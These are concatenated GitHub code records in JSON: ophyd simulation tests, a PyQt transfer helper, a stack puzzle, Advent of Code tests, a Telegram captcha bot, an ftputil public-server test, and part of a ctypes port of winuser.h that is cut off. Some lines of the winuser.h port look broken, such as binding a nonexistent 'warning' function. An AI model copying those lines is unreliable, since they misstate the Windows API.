write_timeout=10.0,\n connection_timeout=10.0,\n )\n flour = Cpt(EpicsSignalRO, \":FLOUR\")\n baster = FCpt(EpicsSignal, \"{self.drawer}:BASTER\")\n sink = FCpt(EpicsSignal, \"{self.sink_location}:SINK\")\n fridge = DDCpt(\n {\"milk\": (EpicsSignal, \":MILK\", {}), \"cheese\": (EpicsSignalRO, \":CHEESE\", {})}\n )\n nothing = Cpt(Signal)\n\n def __init__(\n self, prefix, *, drawer=\"UNDER_THE_SINK\", sink_location=\"COUNTER\", **kwargs\n ):\n self.drawer = drawer\n self.sink_location = sink_location\n super().__init__(prefix, **kwargs)\n\n\ndef test_make_fake_device():\n assert make_fake_device(EpicsSignal) == FakeEpicsSignal\n assert make_fake_device(EpicsSignalRO) == FakeEpicsSignalRO\n assert make_fake_device(EpicsSignalWithRBV) == FakeEpicsSignalWithRBV\n assert make_fake_device(EpicsPathSignal) == FakeEpicsPathSignal\n\n FakeSample = make_fake_device(Sample)\n my_fake = FakeSample(\"KITCHEN\", name=\"kitchen\")\n assert isinstance(my_fake, Sample)\n\n # Skipped\n assert my_fake.nothing.__class__ is Signal\n\n # Normal\n assert isinstance(my_fake.butter, FakeEpicsSignal)\n assert isinstance(my_fake.flour, FakeEpicsSignalRO)\n assert isinstance(my_fake.sink, FakeEpicsSignal)\n\n # Nested\n assert isinstance(my_fake.egg.yolk, FakeEpicsSignal)\n assert isinstance(my_fake.egg.whites, FakeEpicsSignalRO)\n\n # Dynamic\n assert isinstance(my_fake.fridge.milk, FakeEpicsSignal)\n assert isinstance(my_fake.fridge.cheese, FakeEpicsSignalRO)\n\n my_fake.read()\n\n\ndef test_clear_fake_device():\n FakeSample = make_fake_device(Sample)\n my_fake = FakeSample(\"KITCHEN\", name=\"kitchen\")\n clear_fake_device(my_fake, default_value=49, default_string_value=\"string\")\n assert my_fake.butter.get() == 49\n assert my_fake.flour.get() == 49\n assert my_fake.sink.get() == 49\n assert my_fake.egg.yolk.get() == \"string\"\n assert my_fake.egg.whites.get() == 49\n\n\ndef test_instantiate_fake_device():\n my_fake = instantiate_fake_device(Sample)\n assert my_fake.drawer == \"UNDER_THE_SINK\"\n assert my_fake.sink_location == \"COUNTER\"\n assert my_fake.name == \"FakeSample\"\n assert my_fake.prefix == \"_prefix\"\n\n my_fake = instantiate_fake_device(Sample, drawer=\"JUNK_DRAWER\")\n assert my_fake.drawer == \"JUNK_DRAWER\"\n assert my_fake.sink_location == \"COUNTER\"\n assert my_fake.name == \"FakeSample\"\n\n\ndef test_do_not_break_real_class():\n make_fake_device(Sample)\n assert Sample.butter.cls is EpicsSignal\n assert Sample.egg.cls is SampleNested\n assert SampleNested.whites.cls is EpicsSignalRO\n assert Sample.fridge.defn[\"milk\"][0] is EpicsSignal\n\n with pytest.raises(DisconnectedError):\n my_real = Sample(\"KITCHEN\", name=\"kitchen\")\n my_real.read()\n\n\ndef test_fake_epics_signal():\n sig = FakeEpicsSignal(\"PVNAME\", name=\"sig\", limits=True)\n with pytest.raises(ValueError):\n sig.put(None)\n sig.sim_set_limits((0, 10))\n with pytest.raises(LimitError):\n sig.put(11)\n sig.put(4)\n assert sig.get() == 4\n sig.sim_put(5)\n assert sig.get() == 5\n sig.sim_set_putter(lambda x: sig.sim_put(x + 1))\n sig.put(6)\n assert sig.get() == 7\n assert sig.get(as_string=True) == str(7)\n\n\ndef test_fake_epics_signal_ro():\n sig = FakeEpicsSignalRO(\"PVNAME\", name=\"sig\")\n with pytest.raises(ReadOnlyError):\n sig.put(3)\n with pytest.raises(ReadOnlyError):\n sig.put(4)\n with pytest.raises(ReadOnlyError):\n sig.set(5)\n sig.sim_put(1)\n assert sig.get() == 1\n\n\ndef test_fake_epics_signal_enum():\n sig = FakeEpicsSignal(\"PVNAME\", name=\"sig\", string=True)\n sig.sim_set_enum_strs([\"zero\", \"one\", \"two\", \"three\"])\n sig.put(0)\n assert sig.describe()[\"sig\"][\"enum_strs\"] == (\"zero\", \"one\", \"two\", \"three\")\n assert sig.get() == \"zero\"\n assert sig.get(as_string=False) == 0\n sig.put(\"two\")\n assert sig.get(as_string=False) == 2\n with pytest.raises(ValueError):\n sig.put(\"bazillion\")\n\n\ndef test_SynSignalWithRegistry():\n tempdirname = tempfile.mkdtemp()\n\n def data_func():\n return np.array(np.ones((10, 10)))\n\n img = SynSignalWithRegistry(\n data_func, save_path=tempdirname, name=\"img\", labels={\"detectors\"}\n )\n img.stage()\n img.trigger()\n d0 = img.read()\n assert int(d0[\"img\"][\"value\"][-1]) == 0\n img.trigger()\n d1 = img.read()\n assert int(d1[\"img\"][\"value\"][-1]) == 1 # increased by 1\n shutil.rmtree(tempdirname)\n\n\ndef test_synaxis_describe():\n bs = pytest.importorskip(\"bluesky\")\n import bluesky.plans as bp\n\n motor1 = SynAxis(name=\"motor1\")\n RE = bs.RunEngine()\n RE(bp.scan([], motor1, -5, 5, 5))\n\n\ndef test_describe(hw):\n # These need to be staged and triggered before they can be described, just\n # like real area detectors do. We plan to change this approach and remove\n # this limitation in ophyd 1.6.0, but for now we'll just skip these.\n SKIP = (\n \"img\",\n \"direct_img\",\n \"direct_img_list\",\n )\n for name, obj in hw.__dict__.items():\n if name in SKIP:\n continue\n if hasattr(obj, \"describe\"):\n obj.describe()\n elif hasattr(obj, \"describe_collect\"):\n obj.describe_collect()\n else:\n raise AttributeError(\"expected describe or describe_collect\")\n","repo_name":"bluesky/ophyd","sub_path":"ophyd/tests/test_sim.py","file_name":"test_sim.py","file_ext":"py","file_size_in_byte":11176,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"34"} +{"seq_id":"17651366529","text":"import datetime\nfrom multiprocessing.pool import ThreadPool\nfrom PyQt5.QtWidgets import QMessageBox, QGridLayout\nfrom TransModels import TransLog, TransType\nfrom TransTask import TransTask\nfrom TransDataProvider import TransDataProvider\n\nthreadpool = ThreadPool()\n\n\nclass NotSupporTransType(Exception):\n\n def __init__(self,task_name):\n self.task_name = task_name\n\n def __str__(self):\n return \"不支持的传输类型[{}]\".format(self.task_name)\n\n\ndef showmsg(showmsg, detailmsg=None, type=None, default=None):\n msgbox = QMessageBox()\n # 标题\n title = \"数据传输中心\"\n # 消息类型\n if type is None:\n type = QMessageBox.Information\n msgbox.setWindowTitle(title)\n # 显示信息\n msgbox.setText(showmsg)\n # 详细信息\n if detailmsg is not None:\n msgbox.setDetailedText(detailmsg)\n msgbox.setIcon(type)\n # 选择样式\n if type == QMessageBox.Question:\n msgbox.setStandardButtons(QMessageBox.Ok | QMessageBox.Cancel)\n # 默认按钮\n if default is None:\n default = QMessageBox.Ok\n msgbox.setDefaultButton(default)\n\n gridlayout = msgbox.findChild(QGridLayout)\n # 设置最小宽度\n gridlayout.setColumnMinimumWidth(2, 400)\n # 返回值\n ret = msgbox.exec_()\n return ret\n\n\ndef tasklog(func):\n def _log(*args, **kwargs):\n begin_time = datetime.datetime.now()\n try:\n result = func(*args, **kwargs)\n print(result)\n trans_msg = \"\"\n trans_status = '1'\n trans_count = int(result)\n\n except Exception as e:\n result = False\n trans_count = 0\n trans_msg = str(e)\n trans_status = '0'\n end_time = datetime.datetime.now()\n task_name = args[0] # 传输名称\n\n session = TransDataProvider().get_orm_session()\n text, no = session.query(TransType.text, TransType.no).filter(TransType.sheetid == task_name).first()\n translog = TransLog(status=trans_status, begin_time=begin_time,end_time=end_time,\n trans_count=trans_count, sheetid=task_name, msg=trans_msg, text=text, no=no)\n\n session.add(translog)\n session.commit()\n return result\n return _log\n\n\n@tasklog\ndef begin_task(task_name):\n task_class_list = TransTask.__subclasses__()\n task_class = [tsk for tsk in task_class_list if tsk.__name__ == task_name]\n if not task_class:\n raise NotSupporTransType(task_name)\n task = task_class[0]()\n return task.run()\n\n\ndef auto_begin_task(transtype_list):\n \"\"\"自动传输\"\"\"\n if not transtype_list:\n return None\n\n transtype_list_shouldrun = [transtype for transtype in transtype_list if transtype.is_should_run()]\n for transtype in transtype_list_shouldrun:\n sheetid = transtype.sheetid\n threadpool.map(begin_task, (sheetid,))\n\n\n\n","repo_name":"guoqchen1001/TransTools","sub_path":"TransBaseFunc.py","file_name":"TransBaseFunc.py","file_ext":"py","file_size_in_byte":2889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"10812323983","text":"import sys\n# 쇠막대기\nsys.stdin = open(\"input.txt\", 'r')\n\n# ( 이면 스택에 넣는다.\n# ) 이면 막대 정보에서 바로 앞 막대가 무엇인지 학인\n# 1. ( 이 나오면 레이저 -> pop 후 sum += len(스택) 스택에 남아있는 개수가 막대이므로 남아있는 막대 개수만큼 조각이 생성\n# 2. ) 나오면 막대기 끝 지점 -> pop 후 sum += 1(막대 마지막 조각)\nbars = input()\nstack = []\ncnt = 0\n\nfor i in range(len(bars)):\n if bars[i] == '(':\n stack.append(bars[i])\n else:\n tmp = bars[i-1]\n stack.pop()\n if tmp == '(':\n cnt += len(stack)\n else:\n cnt += 1\n\nprint(cnt)\n\n\n\n\n\n","repo_name":"jyo925/Algorithm-Study-python","sub_path":"section5/5-2.py","file_name":"5-2.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"49190069741","text":"import unittest\n\nfrom advent_2020.day_11 import parse_to_2d_array, apply_rules_till_stability, total_occupied_in_state, RULESET_VISION\n\nexample = \"\"\"L.LL.LL.LL\nLLLLLLL.LL\nL.L.L..L..\nLLLL.LL.LL\nL.LL.LL.LL\nL.LLLLL.LL\n..L.L.....\nLLLLLLLLLL\nL.LLLLLL.L\nL.LLLLL.LL\"\"\"\n\n\nclass TestParseTo2dArray(unittest.TestCase):\n def test_parse(self):\n parsed = parse_to_2d_array(example)\n self.assertListEqual([\"L\", \".\", \"L\"], parsed[0][:3])\n\n\nclass TestApplyRulesTillStability(unittest.TestCase):\n def test_example(self):\n parsed = parse_to_2d_array(example)\n stable = apply_rules_till_stability(parsed)\n occupied_count = total_occupied_in_state(stable)\n self.assertEqual(37, occupied_count)\n\n def test_example_with_vision_ruleset(self):\n parsed = parse_to_2d_array(example)\n stable = apply_rules_till_stability(parsed, ruleset=RULESET_VISION)\n occupied_count = total_occupied_in_state(stable)\n self.assertEqual(26, occupied_count)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"Rested/advent-of-code","sub_path":"advent_2020/tests/test_day_11.py","file_name":"test_day_11.py","file_ext":"py","file_size_in_byte":1042,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"11841055300","text":"from aiogram import types, Dispatcher\nfrom random import randint\n\nimport utils\nimport keyboards\nimport logging\n\n\nasync def check_and_ban(captcha_message: types.Message, user_id: int):\n \"\"\"\n Checks chat-member for ability to sending messages, if it hasn't ability, will ban it\n :param captcha_message: Just message with captcha\n :param user_id:A user_id of user which will be checked\n :return: None\n \"\"\"\n\n member = await captcha_message.chat.get_member(user_id)\n\n try:\n await captcha_message.delete()\n except Exception as e:\n logging.error(f\"The following exception was occur while deleting the captcha {e}\")\n\n if not isinstance(member, types.ChatMemberRestricted):\n # ChatMember may be banned, promoted, etc... all is ok\n return\n\n if member.can_send_messages:\n # if member can send messages, no problem\n return\n\n # oh, member can't send messages, because it is fucking bot, let's ban it!\n\n await captcha_message.bot.ban_chat_member(\n captcha_message.chat.id,\n user_id\n )\n\n notice = await captcha_message.bot.send_message(\n captcha_message.chat.id,\n \"User {} didn't pass the captcha and was banned, so, where is my sirnik?\".format(\n utils.message.make_link(str(user_id), user_id)\n )\n )\n\n utils.asyncio.call_after(notice.delete, 20)\n\n\nasync def captcha(message: types.Message):\n \"\"\"\n Handler for making captcha\n :param message: A handler\n :return:\n \"\"\"\n\n members = message.new_chat_members\n await message.delete()\n\n for member in members:\n if member.is_bot:\n # if member is Telegram-bot, ok, skip\n continue\n\n await message.bot.restrict_chat_member(\n message.chat.id,\n member.id,\n can_send_messages=False\n )\n\n first_value = randint(1, 9)\n second_value = randint(1, 9)\n\n keyboard = keyboards.reply.gen_captcha_keyboard(\n message.from_user.id,\n first_value + second_value\n )\n\n captcha_msg = await message.bot.send_message(\n message.chat.id,\n \"Hello, {name}!\\n{first} + {second} is?\".format(\n name=utils.message.make_link(member.full_name, member.id),\n first=first_value,\n second=second_value\n ),\n reply_markup=keyboard\n )\n\n utils.asyncio.call_after(check_and_ban, 20, captcha_msg, member.id)\n\n\ndef setup_captcha(dp: Dispatcher):\n \"\"\"\n Setup's captcha to dispatcher\n :param dp: A dispatcher\n :return: None\n \"\"\"\n dp.register_message_handler(captcha, content_types=[\"new_chat_members\"], is_admin=False)\n","repo_name":"ilyas-kalandar/IntelligentAdminBot","sub_path":"app/handlers/captcha.py","file_name":"captcha.py","file_ext":"py","file_size_in_byte":2713,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"34"} +{"seq_id":"72087884256","text":"from __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport os\nimport socket\nimport subprocess\nimport unittest\n\nimport ftputil\n\nimport test\n\n\ndef email_address():\n \"\"\"\n Return the email address used to identify the client to an\n FTP server.\n\n If the hostname is \"warpy\", use my (Stefan's) email address,\n else try to use the content of the `$EMAIL` environment variable.\n If that doesn't exist, use a dummy address.\n \"\"\"\n hostname = socket.gethostname()\n if hostname == \"warpy\":\n email = \"sschwarzer@sschwarzer.net\"\n else:\n dummy_address = \"anonymous@example.com\"\n email = os.environ.get(\"EMAIL\", dummy_address)\n if not email:\n # Environment variable exists but content is an empty string\n email = dummy_address\n return email\n\nEMAIL = email_address()\n\n\ndef ftp_client_listing(server, directory):\n \"\"\"\n Log into the FTP server `server` using the command line client,\n then change to the `directory` and retrieve a listing with \"dir\".\n Return the list of items found as an `os.listdir` would return it.\n \"\"\"\n # The `-n` option prevents an auto-login.\n ftp_popen = subprocess.Popen([\"ftp\", \"-n\", server],\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n universal_newlines=True)\n commands = [\"user anonymous {0}\".format(EMAIL), \"dir\", \"bye\"]\n if directory:\n # Change to this directory before calling \"dir\".\n commands.insert(1, \"cd {0}\".format(directory))\n input_ = \"\\n\".join(commands)\n stdout, unused_stderr = ftp_popen.communicate(input_)\n # Collect the directory/file names from the listing's text\n names = []\n for line in stdout.strip().split(\"\\n\"):\n if line.startswith(\"total \") or line.startswith(\"Trying \"):\n continue\n parts = line.split()\n if parts[-2] == \"->\":\n # Most likely a link\n name = parts[-3]\n else:\n name = parts[-1]\n names.append(name)\n # Remove entries for current and parent directory since they\n # aren't included in the result of `FTPHost.listdir` either.\n names = [name for name in names\n if name not in (\".\", \"..\")]\n return names\n\n\nclass TestPublicServers(unittest.TestCase):\n \"\"\"\n Get directory listings from various public FTP servers\n with a command line client and ftputil and compare both.\n\n An important aspect is to test different \"spellings\" of\n the same directory. For example, to list the root directory\n which is usually set after login, use \"\" (nothing), \".\",\n \"/\", \"/.\", \"./.\", \"././\", \"..\", \"../.\", \"../..\" etc.\n\n The command line client `ftp` has to be in the path.\n \"\"\"\n\n # Implementation note:\n #\n # I (Stefan) implement the code so it works with Ubuntu's\n # client. Other clients may work or not. If you have problems\n # testing some other client, please send me a (small) patch.\n # Keep in mind that I don't plan supporting as many FTP\n # obscure commandline clients as servers. ;-)\n\n # List of pairs with server name and a directory \"guaranteed\n # to exist\" under the login directory which is assumed to be\n # the root directory.\n servers = [# Posix format\n (\"ftp.gnome.org\", \"pub\"),\n (\"ftp.kde.org\", \"pub\"),\n (\"ftp.debian.org\", \"debian\"),\n (\"ftp.heanet.ie\", \"pub\"),\n # DOS/Microsoft format\n # ftp.microsoft.com sporadically refuses anonymous access\n # (\"530 User cannot log in, home directory inaccessible\")\n #(\"ftp.microsoft.com\", \"deskapps\"),\n ]\n\n # This data structure contains the initial directories \".\" and\n # \"DIR\" (which will be replaced by a valid directory name for\n # each server). The list after the initial directory contains\n # paths that will be queried after changing into the initial\n # directory. All items in these lists are actually supposed to\n # yield the same directory contents.\n paths_table = [\n (\".\", [\"\", \".\", \"/\", \"/.\", \"./.\", \"././\", \"..\", \"../.\", \"../..\",\n \"DIR/..\", \"/DIR/../.\", \"/DIR/../..\"]),\n (\"DIR\", [\"\", \".\", \"/DIR\", \"/DIR/\", \"../DIR\", \"../../DIR\"])\n ]\n\n def inner_test_server(self, server, initial_directory, paths):\n \"\"\"\n Test one server for one initial directory.\n\n Connect to the server `server`; if the string argument\n `initial_directory` has a true value, change to this\n directory. Then iterate over all strings in the sequence\n `paths`, comparing the results of a listdir call with the\n listing from the command line client.\n \"\"\"\n canonical_names = ftp_client_listing(server, initial_directory)\n host = ftputil.FTPHost(server, \"anonymous\", EMAIL)\n try:\n host.chdir(initial_directory)\n for path in paths:\n path = path.replace(\"DIR\", initial_directory)\n # Make sure that we don't recycle directory entries, i. e.\n # really repeatedly retrieve the directory contents\n # (shouldn't happen anyway with the current implementation).\n host.stat_cache.clear()\n names = host.listdir(path)\n # Filter out \"hidden\" names since the FTP command line\n # client won't include them in its listing either.\n names = [name for name in names\n if not (\n name.startswith(\".\") or\n # The login directory of `ftp.microsoft.com`\n # contains this \"hidden\" entry that ftputil\n # finds but not the FTP command line client.\n name == \"mscomtest\"\n )]\n failure_message = (\"For server {0}, directory {1}: {2} != {3}\".\n format(server, initial_directory, names,\n canonical_names))\n self.assertEqual(names, canonical_names, failure_message)\n finally:\n host.close()\n\n @test.skip_long_running_test\n def test_servers(self):\n \"\"\"\n Test all servers in `self.servers`.\n\n For each server, get the listings for the login directory and\n one other directory which is known to exist. Use different\n \"spellings\" to retrieve each list via ftputil and compare with\n the results gotten with the command line client.\n \"\"\"\n for server, actual_initial_directory in self.servers:\n for initial_directory, paths in self.paths_table:\n initial_directory = initial_directory.replace(\n \"DIR\", actual_initial_directory)\n print(server, initial_directory)\n self.inner_test_server(server, initial_directory, paths)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"Crypt0s/Ramen","sub_path":"fs_libs/ftputil/test/test_public_servers.py","file_name":"test_public_servers.py","file_ext":"py","file_size_in_byte":7119,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"34"} +{"seq_id":"74416750496","text":"\n\nfrom shared.wtypes_h import *\nimport ctypes\n\nfrom shared.minwindef_h import (\n HIWORD,\n LOWORD,\n MAKELONG\n)\nfrom shared.winapifamily_h import * # NOQA\nuser32 = ctypes.windll.User32\nWINUSERAPI = DECLSPEC_IMPORT\nWINABLEAPI = DECLSPEC_IMPORT\n\n# extern \"C\" {\n# #endif\n# #if _MSC_VER >= 1200\n# #pragma warning(push)\nwarning = user32.warning\nwarning.restype = \"C\"\n\nWINVER = 0x00000500\nfrom km.crt.stdarg_h import * # NOQA\nfrom um.libloaderapi_h import * # NOQA\n\n\nMENUTEMPLATEA = VOID\nMENUTEMPLATEW = VOID\nMENUTEMPLATE = MENUTEMPLATEW\nLPMENUTEMPLATEA = PVOID\nLPMENUTEMPLATEW = PVOID\nLPMENUTEMPLATE = LPMENUTEMPLATEW\n\nWNDPROC = CALLBACK(LRESULT, HWND, UINT, WPARAM, LPARAM)\nDLGPROC = CALLBACK(INT_PTR, HWND, UINT, WPARAM, LPARAM)\nTIMERPROC = CALLBACK(VOID, HWND, UINT, UINT_PTR, DWORD)\nGRAYSTRINGPROC = CALLBACK(BOOL, HDC, LPARAM, INT)\nWNDENUMPROC = CALLBACK(BOOL, HWND, LPARAM)\nHOOKPROC = CALLBACK(LRESULT, INT, WPARAM, LPARAM)\nSENDASYNCPROC = CALLBACK(VOID, HWND, UINT, ULONG_PTR, LRESULT)\nPROPENUMPROCA = CALLBACK(BOOL, HWND, LPCSTR, HANDLE)\nPROPENUMPROCW = CALLBACK(BOOL, HWND, LPCWSTR, HANDLE)\nPROPENUMPROCEXA = CALLBACK(BOOL, HWND, LPSTR, HANDLE, ULONG_PTR)\nPROPENUMPROCEXW = CALLBACK(BOOL, HWND, LPWSTR, HANDLE, ULONG_PTR)\nEDITWORDBREAKPROCA = CALLBACK(INT, LPSTR, INT, INT, INT)\nEDITWORDBREAKPROCW = CALLBACK(INT, LPWSTR, INT, INT, INT)\nDRAWSTATEPROC = CALLBACK(BOOL, HDC, LPARAM, WPARAM, INT, INT)\nPROPENUMPROC = PROPENUMPROCW\nPROPENUMPROCEX = PROPENUMPROCEXW\nEDITWORDBREAKPROC = EDITWORDBREAKPROCW\nNAMEENUMPROCA = CALLBACK(BOOL, LPSTR, LPARAM)\nNAMEENUMPROCW = CALLBACK(BOOL, LPWSTR, LPARAM)\nWINSTAENUMPROCW = NAMEENUMPROCW\nDESKTOPENUMPROCW = NAMEENUMPROCW\nWINSTAENUMPROC = WINSTAENUMPROCW\nDESKTOPENUMPROC = DESKTOPENUMPROCW\n\n\ndef IS_INTRESOURCE(_r):\n return (_r >> 16) == 0\n\n\ndef MAKEINTRESOURCEA(i):\n return i\n\n\ndef MAKEINTRESOURCEW(i):\n return i\n\nMAKEINTRESOURCE = MAKEINTRESOURCEW\n# MAKEINTRESOURCE = MAKEINTRESOURCEA\n\nRT_CURSOR = MAKEINTRESOURCE(1)\nRT_BITMAP = MAKEINTRESOURCE(2)\nRT_ICON = MAKEINTRESOURCE(3)\nRT_MENU = MAKEINTRESOURCE(4)\nRT_DIALOG = MAKEINTRESOURCE(5)\nRT_STRING = MAKEINTRESOURCE(6)\nRT_FONTDIR = MAKEINTRESOURCE(7)\nRT_FONT = MAKEINTRESOURCE(8)\nRT_ACCELERATOR = MAKEINTRESOURCE(9)\nRT_RCDATA = MAKEINTRESOURCE(10)\nRT_MESSAGETABLE = MAKEINTRESOURCE(11)\nDIFFERENCE = 0x0000000B\nRT_GROUP_CURSOR = MAKEINTRESOURCE(RT_CURSOR + DIFFERENCE)\nRT_GROUP_ICON = MAKEINTRESOURCE(RT_ICON + DIFFERENCE)\nRT_VERSION = MAKEINTRESOURCE(16)\nRT_DLGINCLUDE = MAKEINTRESOURCE(17)\nRT_PLUGPLAY = MAKEINTRESOURCE(19)\nRT_VXD = MAKEINTRESOURCE(20)\nRT_ANICURSOR = MAKEINTRESOURCE(21)\nRT_ANIICON = MAKEINTRESOURCE(22)\nRT_HTML = MAKEINTRESOURCE(23)\nRT_MANIFEST = 0x00000018\nCREATEPROCESS_MANIFEST_RESOURCE_ID = 0x00000001\nISOLATIONAWARE_MANIFEST_RESOURCE_ID = 0x00000002\nISOLATIONAWARE_NOSTATICIMPORT_MANIFEST_RESOURCE_ID = 0x00000003\nMINIMUM_RESERVED_MANIFEST_RESOURCE_ID = 0x00000001\nMAXIMUM_RESERVED_MANIFEST_RESOURCE_ID = 0x00000010\n\n\n# WINAPI\n# wvsprintfA(\n# _Out_ LPSTR,\n# _In_ _PrINTf_format_string_ LPCSTR,\n# _In_ va_list arglist);\nwvsprintfA = user32.wvsprintfA\nwvsprintfA.restype = WINAPI\n\n\n# WINAPI\n# wvsprintfW(\n# _Out_ LPWSTR,\n# _In_ _PrINTf_format_string_ LPCWSTR,\n# _In_ va_list arglist);\nwvsprintfW = user32.wvsprintfW\nwvsprintfW.restype = WINAPI\n\nwvsprintf = wvsprintfW\n# wvsprintf = wvsprintfA\n\n# WINAPIV\n# wsprintfA(\n# _Out_ LPSTR,\n# _In_ _PrINTf_format_string_ LPCSTR,\n# ...);\nwsprintfA = user32.wsprintfA\nwsprintfA.restype = WINAPIV\n\n\n# WINAPIV\n# wsprintfW(\n# _Out_ LPWSTR,\n# _In_ _PrINTf_format_string_ LPCWSTR,\n# ...);\nwsprintfW = user32.wsprintfW\nwsprintfW.restype = WINAPIV\n\nwsprintf = wsprintfW\n# wsprintf = wsprintfA\n\nSETWALLPAPER_DEFAULT = -1\nSB_HORZ = 0x00000000\nSB_VERT = 0x00000001\nSB_CTL = 0x00000002\nSB_BOTH = 0x00000003\nSB_LINEUP = 0x00000000\nSB_LINELEFT = 0x00000000\nSB_LINEDOWN = 0x00000001\nSB_LINERIGHT = 0x00000001\nSB_PAGEUP = 0x00000002\nSB_PAGELEFT = 0x00000002\nSB_PAGEDOWN = 0x00000003\nSB_PAGERIGHT = 0x00000003\nSB_THUMBPOSITION = 0x00000004\nSB_THUMBTRACK = 0x00000005\nSB_TOP = 0x00000006\nSB_LEFT = 0x00000006\nSB_BOTTOM = 0x00000007\nSB_RIGHT = 0x00000007\nSB_ENDSCROLL = 0x00000008\nSW_HIDE = 0x00000000\nSW_SHOWNORMAL = 0x00000001\nSW_NORMAL = 0x00000001\nSW_SHOWMINIMIZED = 0x00000002\nSW_SHOWMAXIMIZED = 0x00000003\nSW_MAXIMIZE = 0x00000003\nSW_SHOWNOACTIVATE = 0x00000004\nSW_SHOW = 0x00000005\nSW_MINIMIZE = 0x00000006\nSW_SHOWMINNOACTIVE = 0x00000007\nSW_SHOWNA = 0x00000008\nSW_RESTORE = 0x00000009\nSW_SHOWDEFAULT = 0x0000000A\nSW_FORCEMINIMIZE = 0x0000000B\nSW_MAX = 0x0000000B\nHIDE_WINDOW = 0x00000000\nSHOW_OPENWINDOW = 0x00000001\nSHOW_ICONWINDOW = 0x00000002\nSHOW_FULLSCREEN = 0x00000003\nSHOW_OPENNOACTIVATE = 0x00000004\nSW_PARENTCLOSING = 0x00000001\nSW_OTHERZOOM = 0x00000002\nSW_PARENTOPENING = 0x00000003\nSW_OTHERUNZOOM = 0x00000004\nAW_HOR_POSITIVE = 0x00000001\nAW_HOR_NEGATIVE = 0x00000002\nAW_VER_POSITIVE = 0x00000004\nAW_VER_NEGATIVE = 0x00000008\nAW_CENTER = 0x00000010\nAW_HIDE = 0x00010000\nAW_ACTIVATE = 0x00020000\nAW_SLIDE = 0x00040000\nAW_BLEND = 0x00080000\nKF_EXTENDED = 0x00000100\nKF_DLGMODE = 0x00000800\nKF_MENUMODE = 0x00001000\nKF_ALTDOWN = 0x00002000\nKF_REPEAT = 0x00004000\nKF_UP = 0x00008000\nVK_LBUTTON = 0x00000001\nVK_RBUTTON = 0x00000002\nVK_CANCEL = 0x00000003\nVK_MBUTTON = 0x00000004\nVK_XBUTTON1 = 0x00000005\nVK_XBUTTON2 = 0x00000006\nVK_BACK = 0x00000008\nVK_TAB = 0x00000009\nVK_CLEAR = 0x0000000C\nVK_RETURN = 0x0000000D\nVK_SHIFT = 0x00000010\nVK_CONTROL = 0x00000011\nVK_MENU = 0x00000012\nVK_PAUSE = 0x00000013\nVK_CAPITAL = 0x00000014\nVK_KANA = 0x00000015\nVK_HANGEUL = 0x00000015\nVK_HANGUL = 0x00000015\nVK_JUNJA = 0x00000017\nVK_FINAL = 0x00000018\nVK_HANJA = 0x00000019\nVK_KANJI = 0x00000019\nVK_ESCAPE = 0x0000001B\nVK_CONVERT = 0x0000001C\nVK_NONCONVERT = 0x0000001D\nVK_ACCEPT = 0x0000001E\nVK_MODECHANGE = 0x0000001F\nVK_SPACE = 0x00000020\nVK_PRIOR = 0x00000021\nVK_NEXT = 0x00000022\nVK_END = 0x00000023\nVK_HOME = 0x00000024\nVK_LEFT = 0x00000025\nVK_UP = 0x00000026\nVK_RIGHT = 0x00000027\nVK_DOWN = 0x00000028\nVK_SELECT = 0x00000029\nVK_PRINT = 0x0000002A\nVK_EXECUTE = 0x0000002B\nVK_SNAPSHOT = 0x0000002C\nVK_INSERT = 0x0000002D\nVK_DELETE = 0x0000002E\nVK_HELP = 0x0000002F\nVK_LWIN = 0x0000005B\nVK_RWIN = 0x0000005C\nVK_APPS = 0x0000005D\nVK_SLEEP = 0x0000005F\nVK_NUMPAD0 = 0x00000060\nVK_NUMPAD1 = 0x00000061\nVK_NUMPAD2 = 0x00000062\nVK_NUMPAD3 = 0x00000063\nVK_NUMPAD4 = 0x00000064\nVK_NUMPAD5 = 0x00000065\nVK_NUMPAD6 = 0x00000066\nVK_NUMPAD7 = 0x00000067\nVK_NUMPAD8 = 0x00000068\nVK_NUMPAD9 = 0x00000069\nVK_MULTIPLY = 0x0000006A\nVK_ADD = 0x0000006B\nVK_SEPARATOR = 0x0000006C\nVK_SUBTRACT = 0x0000006D\nVK_DECIMAL = 0x0000006E\nVK_DIVIDE = 0x0000006F\nVK_F1 = 0x00000070\nVK_F2 = 0x00000071\nVK_F3 = 0x00000072\nVK_F4 = 0x00000073\nVK_F5 = 0x00000074\nVK_F6 = 0x00000075\nVK_F7 = 0x00000076\nVK_F8 = 0x00000077\nVK_F9 = 0x00000078\nVK_F10 = 0x00000079\nVK_F11 = 0x0000007A\nVK_F12 = 0x0000007B\nVK_F13 = 0x0000007C\nVK_F14 = 0x0000007D\nVK_F15 = 0x0000007E\nVK_F16 = 0x0000007F\nVK_F17 = 0x00000080\nVK_F18 = 0x00000081\nVK_F19 = 0x00000082\nVK_F20 = 0x00000083\nVK_F21 = 0x00000084\nVK_F22 = 0x00000085\nVK_F23 = 0x00000086\nVK_F24 = 0x00000087\nVK_NAVIGATION_VIEW = 0x00000088\nVK_NAVIGATION_MENU = 0x00000089\nVK_NAVIGATION_UP = 0x0000008A\nVK_NAVIGATION_DOWN = 0x0000008B\nVK_NAVIGATION_LEFT = 0x0000008C\nVK_NAVIGATION_RIGHT = 0x0000008D\nVK_NAVIGATION_ACCEPT = 0x0000008E\nVK_NAVIGATION_CANCEL = 0x0000008F\nVK_NUMLOCK = 0x00000090\nVK_SCROLL = 0x00000091\nVK_OEM_NEC_EQUAL = 0x00000092\nVK_OEM_FJ_JISHO = 0x00000092\nVK_OEM_FJ_MASSHOU = 0x00000093\nVK_OEM_FJ_TOUROKU = 0x00000094\nVK_OEM_FJ_LOYA = 0x00000095\nVK_OEM_FJ_ROYA = 0x00000096\nVK_LSHIFT = 